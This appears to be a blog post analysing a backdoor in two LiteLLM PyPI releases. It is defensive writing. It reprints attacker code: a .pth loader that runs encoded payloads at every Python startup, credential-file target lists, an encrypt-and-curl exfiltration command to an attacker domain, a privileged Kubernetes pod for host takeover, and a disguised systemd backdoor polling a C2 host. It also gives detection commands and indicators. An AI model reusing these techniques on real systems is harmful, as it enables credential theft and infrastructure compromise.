This happened today. LiteLLM versions 1.82.7 and 1.82.8 on PyPI contained a credential-stealing backdoor. If you installed either version, rotate every credential on that machine immediately. This is not theoretical — credentials were being exfiltrated to an attacker-controlled server.
I run LiteLLM as my model gateway. It routes all 65 of my AI models through one API. I wrote about this stack last week. Today, two versions of that same package were found to contain a multi-stage credential stealer that harvests SSH keys, cloud credentials, crypto wallets, and Kubernetes secrets — then exfiltrates everything to models.litellm.cloud.
My containers were running version 1.82.1 (proxy) and 1.82.6 (agent library). One version below the kill zone.
Here's how the attack works, what the malicious code actually does, and why a .pth file is the scariest Python attack vector most people have never heard of.
How They Got In
This wasn't a compromised maintainer password. It was credential chaining across multiple supply chain attacks by a threat actor called TeamPCP.
LiteLLM's own CI/CD pipeline ran Trivy (a vulnerability scanner) without version pinning. Line 16 of ci_cd/security_scans.sh pulled whatever the latest Trivy binary was. On March 19, TeamPCP had already compromised Trivy itself. The poisoned Trivy binary harvested PYPI_PUBLISH_PASSWORD from LiteLLM's CI runner.
With those credentials, they published directly to PyPI. Versions 1.82.7 and 1.82.8 never existed in GitHub releases — they were injected straight into PyPI, bypassing all code review.
The .pth Trick (No Import Needed)
Version 1.82.7 hid the payload in proxy_server.py — it only ran if you imported the proxy module. The attacker realized this wasn't enough and released 1.82.8 thirteen minutes later with a much nastier trick.
Python has a feature most developers don't know about. The site module runs at interpreter startup and scans site-packages/ for .pth files. Any line starting with import is executed as Python code. Not added to the path — executed.
The attacker added a 34,628-byte file called litellm_init.pth to the wheel. Here's what it contained:
import os, subprocess, sys; subprocess.Popen(
[sys.executable, "-c",
"import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
This runs on every Python process startup. Not when you import litellm. Not when you use the proxy. Every time Python starts. python3 -c "print(1)" triggers it. Your linter triggers it. Your test runner triggers it. Every cron job triggers it.
The subprocess.Popen call spawns a detached child process that decodes and runs the base64 payload silently. The parent process exits normally. You see nothing.
Design bug: The spawned Python child also processes the same .pth file, which spawns another child, creating an exponential fork bomb. This is actually how the attack was discovered — a FutureSearch researcher's machine crashed when an MCP plugin in Cursor pulled the package as a transitive dependency.
Stage 1: The Orchestrator
The base64 payload decodes to a 25,844-byte Python script. It's the orchestrator that coordinates the other two stages. It contains two more base64-encoded blobs:
B64_SCRIPT— Stage 2 credential harvester (17,281 bytes decoded)PERSIST_B64— Stage 3 persistence dropper (1,125 bytes decoded)
The payload uses triple base64 nesting (not double as initially reported). The orchestrator writes each stage to a temporary directory, executes them via subprocess.run(), collects the output, encrypts it, and exfiltrates it.
The attacker also left two earlier iterations commented out in proxy_server.py (lines 131-132). The first version used RC4 encryption and exec(). The second was a hybrid. The production version dropped RC4 and used subprocess piping to evade static analysis tools that flag exec(). A major OPSEC failure — they left their development history in the code.
Stage 2: The Credential Harvester
This is the core of the attack. 332 lines of Python with three utility functions (emit(), run(), walk()) that systematically vacuum everything valuable off the machine:
SSH Infrastructure
~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa ~/.ssh/authorized_keys, known_hosts, config /home/*/.ssh/*, /root/.ssh/*
Every Environment Variable
subprocess.run(["printenv"], capture_output=True) # Captures EVERY API key, secret, and token in the environment
Cloud Credentials
# AWS ~/.aws/credentials, ~/.aws/config # Also queries EC2 IMDS v2 for instance credentials: curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Then uses SigV4 signing to dump Secrets Manager and SSM Parameter Store # GCP ~/.config/gcloud/application_default_credentials.json # Azure ~/.azure/* (entire directory tree)
Kubernetes Secrets
~/.kube/config /etc/kubernetes/admin.conf, kubelet.conf, controller-manager.conf /var/run/secrets/kubernetes.io/serviceaccount/token # Then dumps ALL secrets from ALL namespaces via K8s API
Cryptocurrency Wallets
~/.bitcoin/wallet.dat ~/.ethereum/keystore/ ~/.config/solana/ (validator keypairs) ~/.litecoin/, ~/.dogecoin/, ~/.zcash/ ~/.dashcore/, ~/.ripple/, ~/.bitmonero/, ~/.cardano/
Everything Else
# .env files (recursive, 6 dirs deep) .env, .env.local, .env.production, .env.staging # Shell history ~/.bash_history, ~/.zsh_history # Database credentials ~/.pgpass, ~/.my.cnf, ~/.mongorc.js # Docker configs ~/.docker/config.json # CI/CD secrets terraform.tfvars, terraform.tfstate .gitlab-ci.yml, .travis.yml, Jenkinsfile # SSL/TLS private keys /etc/ssl/private/, *.pem, *.key, *.p12 # Git credentials ~/.gitconfig, ~/.git-credentials # Slack & Discord webhook URLs (grepped from env/config files)
Encryption and Exfiltration
The harvested data is encrypted with a hybrid scheme before exfiltration:
# Generate random AES session key openssl rand -out session_key 32 # Encrypt all stolen data openssl enc -aes-256-cbc -pbkdf2 \ -in collected_data -out encrypted_data \ -pass file:session_key # Encrypt session key with hardcoded 4096-bit RSA public key openssl pkeyutl -encrypt -pubin -inkey rsa_pub.pem \ -in session_key -out encrypted_key \ -pkeyopt rsa_padding_mode:oaep # Bundle and exfiltrate tar czf tpcp.tar.gz encrypted_data encrypted_key curl -s -o /dev/null -X POST \ "https://models.litellm.cloud/" \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary @tpcp.tar.gz
Note the domain: models.litellm.cloud — not litellm.ai (the real domain). Typosquatting designed to look legitimate in log analysis. The domain was registered the day before the attack via Spaceship, Inc. with privacy-protected WHOIS.
Only the attacker's private RSA key can decrypt the exfiltrated data. The same 4096-bit RSA key was used across the Trivy, KICS, and LiteLLM attacks.
Kubernetes Lateral Movement
If the harvester detects a Kubernetes service account token, it escalates aggressively. It enumerates all cluster nodes and creates a privileged pod on every single one:
apiVersion: v1
kind: Pod
metadata:
name: node-setup-{node_name}
namespace: kube-system
spec:
nodeName: {target_node}
hostPID: true
hostNetwork: true
tolerations:
- operator: "Exists" # Tolerates ALL taints, incl. control-plane
containers:
- name: setup
image: alpine:latest
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
restartPolicy: Never # Runs once, exits. Less forensic evidence.
Each pod does chroot /host and installs the persistence backdoor on the host filesystem. The pod name node-setup-* is designed to look like legitimate infrastructure maintenance. Placed in kube-system where nobody audits individual pods. restartPolicy: Never means it runs once and disappears.
If this ran in your production K8s cluster, every node is now backdoored, including control-plane nodes.
Stage 3: Persistence
The persistence dropper installs itself as a systemd user service disguised as system telemetry:
# ~/.config/systemd/user/sysmon.service [Unit] Description=System Telemetry Service [Service] ExecStart=/usr/bin/python3 ~/.config/sysmon/sysmon.py Restart=always StartLimitIntervalSec=0 StandardOutput=null [Install] WantedBy=default.target
The sysmon.py backdoor is a polling loop:
# ~/.config/sysmon/sysmon.py (simplified)
time.sleep(300) # 5 min delay (evades sandbox timeouts)
while True:
resp = GET("https://checkmarx.zone/raw")
if "youtube.com" in resp: # Kill switch
break
if resp != cached_state: # New payload available
download to /tmp/pglog # Named after PostgreSQL
chmod +x /tmp/pglog
run in detached session
time.sleep(3000) # Poll every 50 minutes
Everything is designed to blend in. The service name says "System Telemetry." The binary masquerades as a PostgreSQL process (pglog). The state file uses PostgreSQL naming (.pg_state). The 5-minute initial delay defeats most sandbox analysis timeouts. The "youtube.com" kill switch lets the attacker disable the backdoor remotely.
The Timeline
litellm.cloud registered.PYPI_PUBLISH_PASSWORD stolen.proxy_server.py only (requires import).litellm_init.pth (runs on every Python startup).Total exposure window: ~3 hours. But litellm gets 95 million monthly downloads. Even 3 hours is a lot of installs.
How We Got Lucky
My LiteLLM proxy container ran version 1.82.1 via Docker image. My hermes-agent had litellm 1.82.6 as a transitive dependency. Both one version below the compromised range. We were safe by accident, not by design.
Docker users were largely protected because the container image was pinned before v1.82.7. The compromised versions were PyPI-only — they never made it into the official Docker builds because they were never released through GitHub CI/CD.
Our upstream (NousResearch/hermes-agent) has already removed litellm as a dependency and pinned all remaining dependency versions. I rebased our fork today to pick up both fixes.
Check If You're Affected
# Check your installed version pip show litellm | grep -i version # Search for the malicious .pth file find "$(python3 -c 'import site; print(site.getsitepackages()[0])')" \ -name "litellm_init.pth" 2>/dev/null # Check pip/uv caches find ~/.cache/uv -name "litellm_init.pth" 2>/dev/null find ~/.cache/pip -name "litellm_init.pth" 2>/dev/null # Check for the persistence backdoor find / -path "*/sysmon/sysmon.py" -type f 2>/dev/null find / -name "sysmon.service" -path "*/systemd/*" 2>/dev/null ls -la /tmp/pglog /tmp/.pg_state 2>/dev/null # Check network connections to C2 domains ss -tnp | grep -E "(litellm\.cloud|checkmarx\.zone)" # Kubernetes: check for attacker pods kubectl get pods -n kube-system | grep node-setup
Indicators of Compromise
| TYPE | INDICATOR |
|---|---|
| File | site-packages/litellm_init.pth (34,628 bytes) |
| File | ~/.config/sysmon/sysmon.py |
| File | ~/.config/systemd/user/sysmon.service |
| File | /tmp/pglog (C2 binary) |
| File | /tmp/.pg_state (state tracker) |
| Domain | models.litellm.cloud (exfiltration) |
| Domain | checkmarx.zone (persistence C2) |
| SHA-256 | d2a0d5f5...800ebb (v1.82.8 wheel) |
| SHA-256 | 8395c326...0eac2 (v1.82.7 wheel) |
| SHA-256 | 71e35aef...5238 (litellm_init.pth) |
| K8s Pod | node-setup-* in kube-system |
The Bigger Problem
TeamPCP has hit five package ecosystems in five days: GitHub Actions (Trivy, Mar 19), npm (CanisterWorm, Mar 20), Docker Hub (Trivy images, Mar 22), OpenVSX/GitHub Actions (KICS, Mar 23), and now PyPI (LiteLLM, Mar 24). Every compromised tool gives them credentials that unlock the next target. Security scanners are the perfect Trojan horse — they run with elevated privileges by design.
LiteLLM was compromised because its CI ran an unpinned curl | bash-style Trivy install. The fix isn't just rotating credentials. It's:
- Pin every dependency. Version ranges are a supply chain attack surface.
- Pin CI tools.
trivy@latestin your security scanner is ironic. - Use Docker images over pip installs when available — Docker images are built from specific commits, PyPI wheels can be published by anyone with credentials.
- Monitor for .pth files. They execute on every Python startup and almost nobody checks for them.
- Restrict K8s RBAC. A service account that can create privileged pods in kube-system is a backdoor waiting to happen.
The Python .pth execution mechanism has been a known security risk for years. CPython issue #33944 proposed deprecating it. It was never resolved. Today it was exploited at scale against a package with 95 million monthly downloads.